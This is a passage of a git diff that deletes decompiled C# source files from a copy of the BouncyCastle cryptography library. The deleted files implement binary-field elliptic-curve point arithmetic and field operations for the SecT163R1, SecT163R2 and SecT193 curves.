ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT163R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 3 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat192.Copy64(((SecT163FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 3; - Nat192.Copy64(((SecT163FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 3; - } - return new SecT163R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R1Point.cs deleted file mode 100644 index 6c3277f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R1Point.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT163R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT163R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT163R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT163R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new SecT163R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT163R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT163R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement b2 = (isOne ? a : a.Multiply(b)); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b2); - if (eCFieldElement3.IsZero) - { - return new SecT163R1Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT163R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new SecT163R1Point(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new SecT163R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT163R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R2Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R2Curve.cs deleted file mode 100644 index 9577f69..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R2Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163R2Curve : AbstractF2mCurve -{ - private class SecT163R2LookupTable : ECLookupTable - { - private readonly SecT163R2Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT163R2LookupTable(SecT163R2Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat192.Create64(); - ulong[] array2 = Nat192.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 3; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 3 + j] & num2); - } - num += 6; - } - return m_outer.CreateRawPoint(new SecT163FieldElement(array), new SecT163FieldElement(array2), withCompression: false); - } - } - - private const int SECT163R2_DEFAULT_COORDS = 6; - - private const int SECT163R2_FE_LONGS = 3; - - protected readonly SecT163R2Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 163; - - public override bool IsKoblitz => false; - - public virtual int M => 163; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 3; - - public virtual int K2 => 6; - - public virtual int K3 => 7; - - public SecT163R2Curve() - : base(163, 3, 6, 7) - { - m_infinity = new SecT163R2Point(this, null, null); - m_a = FromBigInteger(BigInteger.One); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("020A601907B8C953CA1481EB10512F78744A3205FD"))); - m_order = new BigInteger(1, Hex.Decode("040000000000000000000292FE77E70C12A4234C33")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT163R2Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT163FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT163R2Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT163R2Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 3 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat192.Copy64(((SecT163FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 3; - Nat192.Copy64(((SecT163FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 3; - } - return new SecT163R2LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R2Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R2Point.cs deleted file mode 100644 index 4aea0de..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT163R2Point.cs +++ /dev/null @@ -1,256 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT163R2Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT163R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT163R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT163R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT163R2Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .AddOne(); - if (eCFieldElement10.IsZero) - { - return new SecT163R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT163R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT163R2Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b); - if (eCFieldElement3.IsZero) - { - return new SecT163R2Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT163R2Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = eCFieldElement3.Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.Multiply(eCFieldElement3).Add(b2).MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement5 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement6 = eCFieldElement5.Add(b4).Square(); - if (eCFieldElement6.IsZero) - { - if (eCFieldElement4.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement4.IsZero) - { - return new SecT163R2Point(curve, eCFieldElement4, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement4.Square().Multiply(eCFieldElement5); - ECFieldElement eCFieldElement7 = eCFieldElement4.Multiply(eCFieldElement6).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement4.Add(eCFieldElement6).Square().MultiplyPlusProduct(b4, rawYCoord2.AddOne(), eCFieldElement7); - return new SecT163R2Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement7 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT163R2Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193Field.cs deleted file mode 100644 index 247f418..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193Field.cs +++ /dev/null @@ -1,289 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT193Field -{ - private const ulong M01 = 1uL; - - private const ulong M49 = 562949953421311uL; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - z[3] = x[3] ^ y[3]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - zz[0] = xx[0] ^ yy[0]; - zz[1] = xx[1] ^ yy[1]; - zz[2] = xx[2] ^ yy[2]; - zz[3] = xx[3] ^ yy[3]; - zz[4] = xx[4] ^ yy[4]; - zz[5] = xx[5] ^ yy[5]; - zz[6] = xx[6] ^ yy[6]; - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat256.FromBigInteger64(x); - Reduce63(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat256.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - Square(x, array); - SquareN(array, 1, array2); - Multiply(array, array2, array); - SquareN(array2, 1, array2); - Multiply(array, array2, array); - SquareN(array, 3, array2); - Multiply(array, array2, array); - SquareN(array, 6, array2); - Multiply(array, array2, array); - SquareN(array, 12, array2); - Multiply(array, array2, array); - SquareN(array, 24, array2); - Multiply(array, array2, array); - SquareN(array, 48, array2); - Multiply(array, array2, array); - SquareN(array, 96, array2); - Multiply(array, array2, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat256.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - ulong num6 = xx[5]; - ulong num7 = xx[6]; - num3 ^= num7 << 63; - num4 ^= (num7 >> 1) ^ (num7 << 14); - num5 ^= num7 >> 50; - num2 ^= num6 << 63; - num3 ^= (num6 >> 1) ^ (num6 << 14); - num4 ^= num6 >> 50; - num ^= num5 << 63; - num2 ^= (num5 >> 1) ^ (num5 << 14); - num3 ^= num5 >> 50; - ulong num8 = num4 >> 1; - z[0] = num ^ num8 ^ (num8 << 15); - z[1] = num2 ^ (num8 >> 49); - z[2] = num3; - z[3] = num4 & 1; - } - - public static void Reduce63(ulong[] z, int zOff) - { - ulong num = z[zOff + 3]; - ulong num2 = num >> 1; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ (num2 ^ (num2 << 15)); - ulong[] array3 = (array2 = z); - int num4 = zOff + 1; - num3 = num4; - array3[num4] = array2[num3] ^ (num2 >> 49); - z[zOff + 3] = num & 1; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num4 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[2]); - ulong num5 = (num & 0xFFFFFFFFu) ^ (x[3] << 32); - ulong num6 = num >> 32; - z[0] = num3 ^ (num4 << 8); - z[1] = num5 ^ (num6 << 8) ^ (num4 >> 56) ^ (num4 << 33); - z[2] = (num6 >> 56) ^ (num6 << 33) ^ (num4 >> 31); - z[3] = num6 >> 31; - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)x[0] & 1); - } - - protected static void ImplCompactExt(ulong[] zz) - { - ulong num = zz[0]; - ulong num2 = zz[1]; - ulong num3 = zz[2]; - ulong num4 = zz[3]; - ulong num5 = zz[4]; - ulong num6 = zz[5]; - ulong num7 = zz[6]; - ulong num8 = zz[7]; - zz[0] = num ^ (num2 << 49); - zz[1] = (num2 >> 15) ^ (num3 << 34); - zz[2] = (num3 >> 30) ^ (num4 << 19); - zz[3] = (num4 >> 45) ^ (num5 << 4) ^ (num6 << 53); - zz[4] = (num5 >> 60) ^ (num7 << 38) ^ (num6 >> 11); - zz[5] = (num7 >> 26) ^ (num8 << 23); - zz[6] = num8 >> 41; - zz[7] = 0uL; - } - - protected static void ImplExpand(ulong[] x, ulong[] z) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - ulong num4 = x[3]; - z[0] = num & 0x1FFFFFFFFFFFFL; - z[1] = ((num >> 49) ^ (num2 << 15)) & 0x1FFFFFFFFFFFFL; - z[2] = ((num2 >> 34) ^ (num3 << 30)) & 0x1FFFFFFFFFFFFL; - z[3] = (num3 >> 19) ^ (num4 << 45); - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = new ulong[4]; - ulong[] array2 = new ulong[4]; - ImplExpand(x, array); - ImplExpand(y, array2); - ImplMulwAcc(array[0], array2[0], zz, 0); - ImplMulwAcc(array[1], array2[1], zz, 1); - ImplMulwAcc(array[2], array2[2], zz, 2); - ImplMulwAcc(array[3], array2[3], zz, 3); - ulong[] array4; - for (int num = 5; num > 0; num--) - { - ulong[] array3 = (array4 = zz); - int num2 = num; - nint num3 = num2; - array3[num2] = array4[num3] ^ zz[num - 1]; - } - ImplMulwAcc(array[0] ^ array[1], array2[0] ^ array2[1], zz, 1); - ImplMulwAcc(array[2] ^ array[3], array2[2] ^ array2[3], zz, 3); - for (int num4 = 7; num4 > 1; num4--) - { - ulong[] array5 = (array4 = zz); - int num5 = num4; - nint num3 = num5; - array5[num5] = array4[num3] ^ zz[num4 - 2]; - } - ulong num6 = array[0] ^ array[2]; - ulong num7 = array[1] ^ array[3]; - ulong num8 = array2[0] ^ array2[2]; - ulong num9 = array2[1] ^ array2[3]; - ImplMulwAcc(num6 ^ num7, num8 ^ num9, zz, 3); - ulong[] array6 = new ulong[3]; - ImplMulwAcc(num6, num8, array6, 0); - ImplMulwAcc(num7, num9, array6, 1); - ulong num10 = array6[0]; - ulong num11 = array6[1]; - ulong num12 = array6[2]; - (array4 = zz)[2] = array4[2] ^ num10; - (array4 = zz)[3] = array4[3] ^ (num10 ^ num11); - (array4 = zz)[4] = array4[4] ^ (num12 ^ num11); - (array4 = zz)[5] = array4[5] ^ num12; - ImplCompactExt(zz); - } - - protected static void ImplMulwAcc(ulong x, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - uint num = (uint)x; - ulong num2 = 0uL; - ulong num3 = 